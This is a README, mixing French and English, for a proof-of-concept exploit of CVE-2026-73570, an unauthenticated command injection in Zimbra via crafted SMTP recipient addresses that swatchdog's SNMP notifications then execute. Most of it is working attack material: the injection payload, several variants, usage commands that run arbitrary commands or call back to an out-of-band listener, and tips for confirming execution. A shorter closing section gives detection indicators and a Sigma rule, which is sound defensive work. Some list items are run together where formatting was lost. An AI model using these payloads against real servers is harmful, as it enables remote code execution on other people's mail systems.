
Proof-of-concept d'exploitation pour CVE-2026-73570, une injection de commande OS non authentifiée dans Zimbra Collaboration Suite via l'injection de logs zimbra-snmp, avec des conseils de détection.
Preuve de concept d'exploit pour CVE-2026-73570, une injection de commande OS
non authentifiée (CWE-78, CVSS 8.9) dans Zimbra Collaboration Suite < 10.1.20
lorsque le paquet zimbra-snmp est installé et que les notifications SNMP sont
activées.
Avertissement : Ce PoC est destiné uniquement à des tests de sécurité autorisés, à la recherche défensive et à la validation de vos propres systèmes. Ne l'utilisez pas contre un système que vous ne possédez pas ou pour lequel vous ne disposez pas d'une autorisation écrite explicite de test.
La fonctionnalité de notification SNMP de Zimbra utilise swatchdog pour
surveiller /var/log/zimbra.log à la recherche d'événements de service. Lorsqu'une
ligne de log correspond à son motif de surveillance, le texte correspondant est
interpolé dans une commande shell qui envoie la notification SNMP — sans
assainissement.
La chaîne d'attaque :
1. Attacker sends an SMTP session with a crafted RCPT TO address:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
The local part is an RFC 5321 quoted-string, so Postfix accepts the
address syntax (spaces, colons, $(...) included).
2. Postfix rejects the recipient (relay denied / user unknown / sender
restriction) and writes the FULL to=<...> string, quotes stripped, into
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) periodically scans the log and matches its
watchfor pattern "Service status change ... changed from ... to ...".
4. The matched text is interpolated into the SNMP notification shell command
-> $(CMD) is evaluated -> command execution as the `zimbra` user.
La cible doit remplir toutes les conditions suivantes :
zimbra-snmp installézmlocalconfig | grep -i snmp_notify)Côté attaquant : Python 3 (bibliothèque standard uniquement, aucune dépendance).
# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Options :
| Flag | Description |
|---|---|
-t, --target | IP/nom d'hôte SMTP de la cible Zimbra (requis) |
-p, --port | Port SMTP (par défaut : 25) |
--tls | Utiliser STARTTLS (par ex. port 587) |
--oob | Domaine DNS OOB ou URL de callback HTTP (recommandé) |
--cmd | Commande arbitraire au lieu du callback OOB |
--fake-host | Nom d'hôte dans la fausse chaîne Service status change (par défaut : localhost) |
--check-only | Empreinte uniquement, n'envoie aucune charge utile |
--delay | Délai entre les envois en secondes (par défaut : 1.0) |
--debug | Afficher la transcription SMTP complète |
Le script envoie chaque commande selon plusieurs variantes d'injection ($(...),
backticks, ;cmd;#, $({IFS}...)). Pour chaque variante, surveillez le code de
réponse RCPT :
| Réponse RCPT | Signification |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Syntaxe d'adresse acceptée — la ligne de rejet avec la chaîne complète to=<...> se trouve désormais dans le log. Charge utile plantée. |
501 5.1.3 Bad recipient address syntax | Postfix a rejeté l'adresse lors de l'analyse — rien d'utile n'a été journalisé. Le script réessaie automatiquement avec un repli non quoté. |
Confirmez ensuite sur le serveur (si vous y avez accès) :
# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/ # if you used --cmd
# or watch your OOB listener for the callback
Si la ligne de log est présente mais que la commande ne s'exécute jamais, les
prérequis restants se situent du côté de swatchdog : vérifiez que le processus
est en cours d'exécution (ps aux | grep swatch) et que sa configuration
surveille bien le motif Service status change.
Contexte d'exécution : les commandes s'exécutent en tant qu'utilisateur
zimbra (pas root).
fail2ban-client status, iptables -L -n | grep <your_ip>, et confirmez que
les paquets atteignent Postfix avec tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... plutôt qu'une ligne
NOQUEUE: reject. Filtrez plutôt par votre IP d'attaquant.Principaux indicateurs d'une exploitation réussie :
to=<*: Service status change: *$(...)* à
l'intérieur d'une ligne de rejet Postfix dans /var/log/zimbra.log — quasi
aucun faux positif, car le texte Service status change n'apparaît jamais
légitimement dans une adresse to=<>.sh, bash, curl, wget, nc, python, perl) lancé comme
processus enfant de swatchdog / swatch..jsp/.jspx sous
/opt/zimbra/jetty/webapps/ ou /opt/zimbra/jetty_base/webapps/, fichiers
inattendus dans /tmp/, nouvelles entrées cron ou clés SSH pour
l'utilisateur zimbra, et connexions sortantes depuis le serveur de messagerie
qui ne correspondent pas au flux de messagerie normal.Exemple de règle Sigma (phase de tentative) :
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp jusqu'au
correctif.